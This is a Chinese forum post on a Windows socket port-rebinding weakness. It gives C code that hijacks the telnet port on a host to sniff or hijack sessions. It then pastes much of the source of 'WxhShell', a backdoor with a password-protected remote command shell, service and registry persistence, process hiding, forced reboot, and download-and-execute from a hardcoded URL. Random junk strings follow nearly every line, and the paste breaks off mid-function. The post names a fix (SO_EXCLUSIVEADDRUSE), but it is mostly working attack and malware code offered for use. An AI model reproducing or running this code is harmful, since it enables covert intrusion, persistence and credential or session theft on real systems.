社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 12215阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Quy&CV{@  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); mjDaus59  
FabzP_<b  
  saddr.sin_family = AF_INET; B\,pbOE?#  
) N*,cTE  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 3: 'eZ cM  
v&p|9C@  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); "#d>3M_  
?CgqHmf\\(  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 WleE$ ,  
]uN}n;`12  
  这意味着什么?意味着可以进行如下的攻击: 5G"DgG*<  
)a ov]Ns  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 n 7Mab  
gJEm  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) kQ5mIJ9(  
eM";P/XaX  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 U_t[J|  
5hN`}Ve  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  6;WfsG5  
&DQyJJ`k  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 1]Q;fe  
P;7JK=~k  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 cI~uI '  
zq 1je2DB  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 F7!g+LPc<  
I!FIV^}Z(  
  #include TI^W=5W@@  
  #include dux.Z9X?  
  #include vS#Y,H:yAj  
  #include    cEI "  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ME.l{?v  
  int main() hk6(y?#  
  { gD}lDK6N  
  WORD wVersionRequested; Zq tL4M~9  
  DWORD ret; !=(OvX_<  
  WSADATA wsaData; 7+_TdDBYs  
  BOOL val; -BQoNEh  
  SOCKADDR_IN saddr; ,X+LJe$  
  SOCKADDR_IN scaddr; eh\_;2P  
  int err; LqNt.d @  
  SOCKET s; H( L.k;B  
  SOCKET sc; ,z4)A&F[c;  
  int caddsize; " pg5w  
  HANDLE mt; ``X1xiB  
  DWORD tid;   *Ubsa9'fS  
  wVersionRequested = MAKEWORD( 2, 2 ); x*H,eY3  
  err = WSAStartup( wVersionRequested, &wsaData ); 5;WESk  
  if ( err != 0 ) { w)C/EHF  
  printf("error!WSAStartup failed!\n"); {KQ-QKxxS  
  return -1; 7:[u.cd  
  } 7+!FZo{?  
  saddr.sin_family = AF_INET; #:B14E  
   =Msr+P9Ai  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 77 g<`}{  
VQ}N& H)`  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 2:5Go  
  saddr.sin_port = htons(23); |Y-{)5/5}  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) W;Y"J_  
  { DT;n)7+,  
  printf("error!socket failed!\n"); .1{:Q1"S  
  return -1; 6Qc *:(GE  
  } 53X i)  
  val = TRUE; .ZOG,h+8  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 SEKR`2Zz,  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) XE#a#  
  { 'zJBp 9a%  
  printf("error!setsockopt failed!\n"); PF+F^;C  
  return -1; 3VZ}5  
  } h5)4Z^n  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; $)YalZ  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 r+Pfq[z&  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 m|uVmg!*  
V7 OhOLK8  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) p=XEMVqm  
  { MZrLLnl6\  
  ret=GetLastError(); &gLXS1O  
  printf("error!bind failed!\n"); gB_gjn\  
  return -1; >b7Yk)[%  
  } uv|RpIve:  
  listen(s,2); XQ'$J_hC  
  while(1) /$\N_`bM  
  { 9oj#5Hq  
  caddsize = sizeof(scaddr); M!`&Z9N  
  //接受连接请求 2^X<n{0N)  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Gh5 3 Pne  
  if(sc!=INVALID_SOCKET) x%yzhIRR  
  { IKrojK8-?  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); "8$Muwm  
  if(mt==NULL) GU0[K#%  
  { :u,Ji9 u  
  printf("Thread Creat Failed!\n"); yHo#v:>?p  
  break; no$X0ia  
  } J[{ R:l\  
  } kp-`_sDg  
  CloseHandle(mt); X Z=%XB:?  
  } 2Rqpok4  
  closesocket(s); _<6E>"*m  
  WSACleanup(); Yc:>Yzj(z  
  return 0; (kVxa8 0  
  }   Xf;_r+;  
  DWORD WINAPI ClientThread(LPVOID lpParam) \;+TZ1i_  
  { W %1/: _  
  SOCKET ss = (SOCKET)lpParam; P\y ZcL  
  SOCKET sc; mhMTn*9  
  unsigned char buf[4096]; rMoz+{1A  
  SOCKADDR_IN saddr; M_O)w^ '  
  long num; '=+gwe M  
  DWORD val; ?X+PNw|pf  
  DWORD ret; z.!u<hy(  
  //如果是隐藏端口应用的话,可以在此处加一些判断 'Yaq; mDY  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   o?d`o$  
  saddr.sin_family = AF_INET; l>T]Y  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1");  Xb~i?T;f  
  saddr.sin_port = htons(23); $Ji;zR4,  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,T-xuNYC  
  { ' ,1[rWyc  
  printf("error!socket failed!\n"); v\g1 w&PN  
  return -1; w5vzj%6i  
  } QBCEDv&j  
  val = 100; H~?7 : K  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) iX6*OEl/Q  
  { mYqLqezAA  
  ret = GetLastError(); l\TL=8u2c  
  return -1; U1D;O}z~  
  } d/b\:[B@  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Z6nQW53-  
  { ey$H2zmo  
  ret = GetLastError(); hG}gKs  
  return -1; fjMmlp  
  } >x]ir  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Q$5%9  
  { RJ-J/NhWyI  
  printf("error!socket connect failed!\n"); %v0;1m  
  closesocket(sc); )K]<\Q[  
  closesocket(ss); |9[)-C~N7  
  return -1; y"iK)SH  
  }  zj$Ve  
  while(1) -,ojZFyRi  
  { @o&UF-=MW(  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 T#KVN{O  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 %r@:7/  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 p::`1  
  num = recv(ss,buf,4096,0); >ktekO:H  
  if(num>0) H{uR+&<  
  send(sc,buf,num,0); O`_]n  
  else if(num==0) (hIe!"s *  
  break; /px`FuJI(  
  num = recv(sc,buf,4096,0); !N/?b^y  
  if(num>0) uFG ;AY|  
  send(ss,buf,num,0); Uo JMOw[  
  else if(num==0) y(j vl|z[  
  break; Hiih$O+  
  } '<h@h*R  
  closesocket(ss); UdFYG^i  
  closesocket(sc); lWFm>DiLY  
  return 0 ; .p'\@@o5  
  } D7C%Y^K]>E  
):V)Hrq?x  
0Hr)h{!F"  
========================================================== ! H4uc  
OQ _wsAA  
下边附上一个代码,,WXhSHELL _mDvRFq  
D[(T--LLT  
========================================================== zU# OjvNk  
HqA3.<=F,  
#include "stdafx.h" nVk]Qe  
'~76Y9mv  
#include <stdio.h> BgwZZ<B  
#include <string.h> d-"[-+)-  
#include <windows.h> &uJ7[m19z  
#include <winsock2.h> u"zQh|  
#include <winsvc.h> m A|"  
#include <urlmon.h> leEzfbb{'.  
=e]Wt/AQ  
#pragma comment (lib, "Ws2_32.lib") NAfu$7  
#pragma comment (lib, "urlmon.lib") p+R8Mo;I  
+e) RT<  
#define MAX_USER   100 // 最大客户端连接数 RH<C:!F^  
#define BUF_SOCK   200 // sock buffer MP`WU}2  
#define KEY_BUFF   255 // 输入 buffer !n5s/"'H  
B'D 4]EB  
#define REBOOT     0   // 重启 4Jj O.H  
#define SHUTDOWN   1   // 关机 k N$L8U8f  
e7gWz~  
#define DEF_PORT   5000 // 监听端口 :=%`\\  
:aMp,DfM]P  
#define REG_LEN     16   // 注册表键长度 _xXDvBU  
#define SVC_LEN     80   // NT服务名长度 _:l<4u !  
|y7#D9m  
// 从dll定义API z/7"!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); wB W]w  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); JY@x.?N5$  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); zXg/.z]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -\=kd {*B  
x^ ]1m%  
// wxhshell配置信息 @T+pQ)0{{  
struct WSCFG { &:*|KxX  
  int ws_port;         // 监听端口 dKTUW<C  
  char ws_passstr[REG_LEN]; // 口令 }!g^}BWWp  
  int ws_autoins;       // 安装标记, 1=yes 0=no `=f1rXhI+1  
  char ws_regname[REG_LEN]; // 注册表键名 SwPc<Z?P  
  char ws_svcname[REG_LEN]; // 服务名 cX/ ["AM  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 KwuNHK)-  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &\o !-EIK8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 OQh(qa  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ZN?UkFnE  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2*1s(Jro  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 t Sf`  
j8gi/07l  
}; k"2xyzt*  
Bx32pY  
// default Wxhshell configuration :V#W y  
struct WSCFG wscfg={DEF_PORT, 7|Tu@0XXA  
    "xuhuanlingzhe", +Ss|4O}'  
    1, nf MQ3K P  
    "Wxhshell", [bvIT]Z  
    "Wxhshell", S?_ ;$Cn  
            "WxhShell Service", 0BTLIV$d;  
    "Wrsky Windows CmdShell Service", pB;p\9A*q  
    "Please Input Your Password: ", -*EK-j  
  1, 0oi =}lV  
  "http://www.wrsky.com/wxhshell.exe", JOIbxU{U_  
  "Wxhshell.exe" =NzA2td  
    }; {<- BU[H  
UC34AKm  
// 消息定义模块 fH7o,U|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8vcV-+x  
char *msg_ws_prompt="\n\r? for help\n\r#>"; mSzBNvc i  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #`mo5  
char *msg_ws_ext="\n\rExit."; +`x8[A)-  
char *msg_ws_end="\n\rQuit."; , ]'?Gd  
char *msg_ws_boot="\n\rReboot..."; j9za)G-J  
char *msg_ws_poff="\n\rShutdown..."; \S@;>A<J  
char *msg_ws_down="\n\rSave to "; Yp./3b VO  
y VUA7IY  
char *msg_ws_err="\n\rErr!"; W cPDPu~/  
char *msg_ws_ok="\n\rOK!"; ,JN2q]QPP  
fg%I?ou  
char ExeFile[MAX_PATH]; "Q A#  
int nUser = 0; lOPCM1Se  
HANDLE handles[MAX_USER]; @ I LG3"  
int OsIsNt; y;yXOE_  
^T)HRT-k  
SERVICE_STATUS       serviceStatus; 7tfMD(Q]e/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ly}6zOC\  
?2%d;tW  
// 函数声明 F5wCl2I  
int Install(void); hkJ4,.  
int Uninstall(void);  3@J0-w  
int DownloadFile(char *sURL, SOCKET wsh); V z8o  
int Boot(int flag); 5 1@V""m  
void HideProc(void); |J'@-*5?[8  
int GetOsVer(void); 0V"r$7(}  
int Wxhshell(SOCKET wsl); >1,.4)k%K  
void TalkWithClient(void *cs); XN5EZ#  
int CmdShell(SOCKET sock); ?&_ -,\t  
int StartFromService(void); CK 3]]{  
int StartWxhshell(LPSTR lpCmdLine); EJ.oq*W!*J  
he wX)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); x %L2eXL  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); k8F<j)"  
I0(BKMp&  
// 数据结构和表定义 (8qMF{  
SERVICE_TABLE_ENTRY DispatchTable[] = 5CueD]  
{ yN5g]U. Q  
{wscfg.ws_svcname, NTServiceMain}, 4cRF3$a md  
{NULL, NULL} $}jp=?,t  
}; 7$<.I#x  
wXMKQ)$(  
// 自我安装 KF|+# qCN  
int Install(void) n&D<l '4  
{ Z%y>q|:  
  char svExeFile[MAX_PATH]; 2^bq4c4J  
  HKEY key; |[CsLn;  
  strcpy(svExeFile,ExeFile); xpx Un8.  
<M B]W`5  
// 如果是win9x系统,修改注册表设为自启动 9s6@AJf  
if(!OsIsNt) { II3)Cz}xRG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $/Gvz)M  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); VJDF/)X3$  
  RegCloseKey(key); >E|@3g +2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { GRB/N1=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `$ZX]6G  
  RegCloseKey(key); Y|_ #yb  
  return 0; ^&zwO7cS  
    } ,G!M?@Q  
  } P(_D%0xKm  
} &dh%sFy  
else { ^I~2t|}  
|Up+Kc:z/n  
// 如果是NT以上系统,安装为系统服务 7"2L|fG  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8B JxD<  
if (schSCManager!=0) J_C<Erx[O  
{ (8TB*BhQ_  
  SC_HANDLE schService = CreateService 53J!iNnXT6  
  ( WW{5[;LYiB  
  schSCManager, :.'<ndM  
  wscfg.ws_svcname, &M,a+|yuY  
  wscfg.ws_svcdisp, cTCo~Pk4  
  SERVICE_ALL_ACCESS, MIo<sJuv  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , k*(c8/<.d  
  SERVICE_AUTO_START, u pg?  
  SERVICE_ERROR_NORMAL,  U":hJ*F)  
  svExeFile, l~;H~h!h/  
  NULL, t 9&xk?%{  
  NULL, ((Ak/qz  
  NULL, ;&q}G1  
  NULL, NeAkJG=<  
  NULL svCD&~|K#  
  ); 9h> nP8  
  if (schService!=0) XAW$"^p  
  { >G$8\&]j  
  CloseServiceHandle(schService); Bw;sg;  
  CloseServiceHandle(schSCManager); (MY#;v\AYE  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); n1m[7s.[&  
  strcat(svExeFile,wscfg.ws_svcname); FB9PIsFS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /vll*}}  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1 0lvhzU  
  RegCloseKey(key); L6./b;  
  return 0; &)JQ6J_|\  
    } =.(yOUI  
  } >A5R  
  CloseServiceHandle(schSCManager); 5XySF #  
} `E+)e?z  
} ^q5~;_z|  
\ T/i]z  
return 1; 26PUO$&b.  
} X1&Ug ^  
<nlZ?~%}  
// 自我卸载 _BO:~x  
int Uninstall(void) LSQWveZz  
{ 59!yz'feF  
  HKEY key; t ~ruP',~\  
$}V<U m  
if(!OsIsNt) { zI$^yk-vn  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [Oen{c9 A  
  RegDeleteValue(key,wscfg.ws_regname); #"-?+F=rk  
  RegCloseKey(key); W^npzgDCo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'KB\K)cD=3  
  RegDeleteValue(key,wscfg.ws_regname); |z\5Ik!fF]  
  RegCloseKey(key); ZUP\)[~  
  return 0; NAjY,)>'K  
  } L9Sd4L_e  
} sd9$4k"  
} ;iR( Ir  
else { vQ/}E@?u  
J ^gtSn^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *vt5dxB  
if (schSCManager!=0) _G%]d$2f`  
{ qzS 9ls>>  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); yTzP{I  
  if (schService!=0) K~ ,| ~  
  { A}WRpsA9  
  if(DeleteService(schService)!=0) { nfpkWyIu{  
  CloseServiceHandle(schService); ^ CVhV  
  CloseServiceHandle(schSCManager); VeiJ1=hc  
  return 0; nv&uhu/q  
  } t\~lGG-p  
  CloseServiceHandle(schService);  N1,=5P$  
  } arJ4^  d  
  CloseServiceHandle(schSCManager); rE0?R( _  
} 2 gz}]_  
} K*iy^}  
 W%LTcm  
return 1; Q|QVm,m  
} XndGe=O  
Rs_0xh  
// 从指定url下载文件 +v4P9V|s  
int DownloadFile(char *sURL, SOCKET wsh) L#sw@UCK  
{ $$ %4,\{l  
  HRESULT hr; vzV,} S*c  
char seps[]= "/"; vvA=:J4/i)  
char *token; (t&]u7Atr  
char *file; j.FA!4L  
char myURL[MAX_PATH]; 4w,=6|#  
char myFILE[MAX_PATH]; _G s*4:  
@(>XSTh9  
strcpy(myURL,sURL); Gt#Jr!N~  
  token=strtok(myURL,seps); ! |SPOk  
  while(token!=NULL) 3jF#f'*  
  { q-s! hiK  
    file=token; X-1<YG  
  token=strtok(NULL,seps); ?#8',:  
  } r~cmrLQa  
#qkokV6`  
GetCurrentDirectory(MAX_PATH,myFILE); ZeewGa^r  
strcat(myFILE, "\\"); A4LGF  
strcat(myFILE, file); Z$ qFjWp  
  send(wsh,myFILE,strlen(myFILE),0); 3t<XbHF9  
send(wsh,"...",3,0); U'^AJ2L8  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [MSLVTR  
  if(hr==S_OK) 9$,x^Qx  
return 0; $r`K4g  
else h(}$-'g  
return 1; dWHl<BUm  
v|5:;,I  
} is=sV:j:  
+mRFHZG  
// 系统电源模块 /H#- \r&r  
int Boot(int flag)  2|'v[  
{ a*LT<N  
  HANDLE hToken; *r!f! eA:  
  TOKEN_PRIVILEGES tkp; { 3``To$  
m87,N~DP  
  if(OsIsNt) { k=w;jX&;`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9pPb]v,6  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 6o@}k9AN  
    tkp.PrivilegeCount = 1; O%)@> 5#S  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; W{E2 2J}  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Pn@k)g  
if(flag==REBOOT) { =Y`P}vI]w%  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Rz}?@zh_8  
  return 0; n}==  
} \PS{/XK  
else { M99#\0=/  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) qW]gp7jK4  
  return 0; ?pgdj|"a  
} w:Ui_-4*>  
  } 5,=Yi$x  
  else { TR!^wB<F  
if(flag==REBOOT) { 1);$#Dlt k  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5 e:Urv77  
  return 0; )6|7L)Dk  
} `(A6uakd  
else { =PHl|^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) X! 5N2x  
  return 0; &tY3nr  
} ;/i"W   
} vQrce&  
Ta#vD_QP  
return 1; u#5/s8  
} FFXDt"i2  
* d6[k Y  
// win9x进程隐藏模块 xGbr>OqkTX  
void HideProc(void) h&4uf x6  
{ a]:tn:q  
kN uDoo]z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); z9:@~3k.  
  if ( hKernel != NULL ) $iQ>c6  
  { \~xI#S@  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ?]gZg[  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @C)O[&Sk  
    FreeLibrary(hKernel); lhg3 }dW  
  } T!$7:% D  
zb9^ii$g  
return; jB }O6u[%  
} &d`T~fl|  
}aYm86C]  
// 获取操作系统版本 9@AGx<S1  
int GetOsVer(void) %VYQz)yW  
{ G)gf +)W  
  OSVERSIONINFO winfo; A(duUl~  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `}o4&$  
  GetVersionEx(&winfo); ~^/zCPy[w  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ln.kEhQ3B  
  return 1; 8D]:>[|E  
  else n+@}8;oeP  
  return 0; g+/%r91hZ  
} !- f>*|@  
lJ]r %YlF  
// 客户端句柄模块 !f_GR Pj'  
int Wxhshell(SOCKET wsl) P# 2&?.d\  
{ 2=ZR}8}9Q:  
  SOCKET wsh; Z+ubc"MVb  
  struct sockaddr_in client; -Hzn7L  
  DWORD myID; ^|}C!t+  
2{s ND  
  while(nUser<MAX_USER) J<DV7zV  
{ oR}ir  
  int nSize=sizeof(client); y8: 0VZox  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Okk[}G)  
  if(wsh==INVALID_SOCKET) return 1; |)6(_7e9  
992;~lBu  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); aKs!*uo0H  
if(handles[nUser]==0) FtN1ZZ"<*  
  closesocket(wsh); []Cvma 1\  
else 6h>8^l  
  nUser++; \Ekez~k{`  
  } Qu]0BVIe  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 43rM?_72  
]i*q*]x2u  
  return 0; &QE^i%6>\  
} ';V(sRU@  
I^Ichn  
// 关闭 socket *lv)9L+0  
void CloseIt(SOCKET wsh) @RotJl/>  
{ O;[PEV ~  
closesocket(wsh); BEvSX|M>x  
nUser--; n? "ti  
ExitThread(0); .G+}Kn9!  
} dgssX9g37  
$m/-E#I #Z  
// 客户端请求句柄 U[d/ `  
void TalkWithClient(void *cs) X@+:O-$  
{ &n<jpMB  
3DK^S2\zBm  
  SOCKET wsh=(SOCKET)cs; V2es.I  
  char pwd[SVC_LEN]; :{4G= UbAI  
  char cmd[KEY_BUFF]; Ga f/0/|  
char chr[1]; 0w\X  
int i,j; DjOFfD\MF  
B0=:A  
  while (nUser < MAX_USER) { mDE{s",q/  
9BI5qHEp  
if(wscfg.ws_passstr) { 4 E3@O  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,-  ]2s_  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c Yx=8~-  
  //ZeroMemory(pwd,KEY_BUFF); ;0E"4(S.q1  
      i=0; j-gLX  
  while(i<SVC_LEN) { ;TSnIC)c  
CkoPno  
  // 设置超时 6uDA{[OH  
  fd_set FdRead; UEo,:zeN[  
  struct timeval TimeOut; }SitT\%  
  FD_ZERO(&FdRead); w%S<N  
  FD_SET(wsh,&FdRead); 5K'EuI)  
  TimeOut.tv_sec=8; T.ub! ,Y  
  TimeOut.tv_usec=0; :&yRvu  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !Go(8`>  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); VK`_ Qc#B  
W3UK[_qK  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?y<n^`  
  pwd=chr[0]; XeDU ,  
  if(chr[0]==0xd || chr[0]==0xa) { 3+A 0O%0*  
  pwd=0; t)XV'J  
  break;  hPr  
  } #!#V!^ o  
  i++; d\;M F  
    } dMGu9k~u  
3\=8tg p  
  // 如果是非法用户,关闭 socket HKOJkbVZ2^  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); u MzefRN  
} yfTnj:Fz  
n_Um)GI>  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); u;J=g  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @<vDR">  
0IDHoNaT<  
while(1) { 0O-p(L=  
-D:J$d 6R<  
  ZeroMemory(cmd,KEY_BUFF); W}L =JJo},  
eE7 R d>  
      // 自动支持客户端 telnet标准   jLr8?Hyf  
  j=0; 4L!{U@ '  
  while(j<KEY_BUFF) { h>mQ; L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A!^K:S:@  
  cmd[j]=chr[0]; /bCrpcH  
  if(chr[0]==0xa || chr[0]==0xd) { fS#/-wugOB  
  cmd[j]=0; &tMvs<q,  
  break; @1n0<V /  
  } VPN@q<BV  
  j++; p00\C  
    } Rp`}"x9  
l^$:R~gS  
  // 下载文件 *\VQ%_wg  
  if(strstr(cmd,"http://")) { ^|\ *i  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); KD,b.s  
  if(DownloadFile(cmd,wsh)) :@: R4Ac  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Slv}6at5  
  else ~fCD#D2KU  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -HoPECe  
  } J=zZGd%  
  else { GQF7]j/  
$Z{ fKr  
    switch(cmd[0]) { wCmwH=O  
  ?\vJ8H[bD  
  // 帮助 E}NX+ vYF  
  case '?': { CKh-+8j  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); NmB0CbB  
    break; !Z=`Wk5  
  } D<xPx  
  // 安装 ;/oMH/,U8  
  case 'i': { {qLnwy!i  
    if(Install()) Mqc[IAcd]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Kq{s^G  
    else ~S-x-cZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I5x/N.  
    break; vpXS!o>/Sn  
    } 6bb=;  
  // 卸载 VKN^gz  
  case 'r': { K03a@:  
    if(Uninstall()) <S\S @3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uN$X3Ls_  
    else 1GEE^Eu  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vO0ql  
    break; tAc;O[L  
    } m k -" U7;  
  // 显示 wxhshell 所在路径 v0$6@K;M4G  
  case 'p': { 9MHb<~F  
    char svExeFile[MAX_PATH]; }WCz*v1Wq  
    strcpy(svExeFile,"\n\r"); 2o\\qEYg  
      strcat(svExeFile,ExeFile); up:e0di{  
        send(wsh,svExeFile,strlen(svExeFile),0); o.Cj+`0}5  
    break; .mok.f<G_m  
    } Q;aZpi-E"  
  // 重启 E#HO0 ]S  
  case 'b': { &)bar.vw/  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %{HqF>=~  
    if(Boot(REBOOT)) /@wm?ft6Gk  
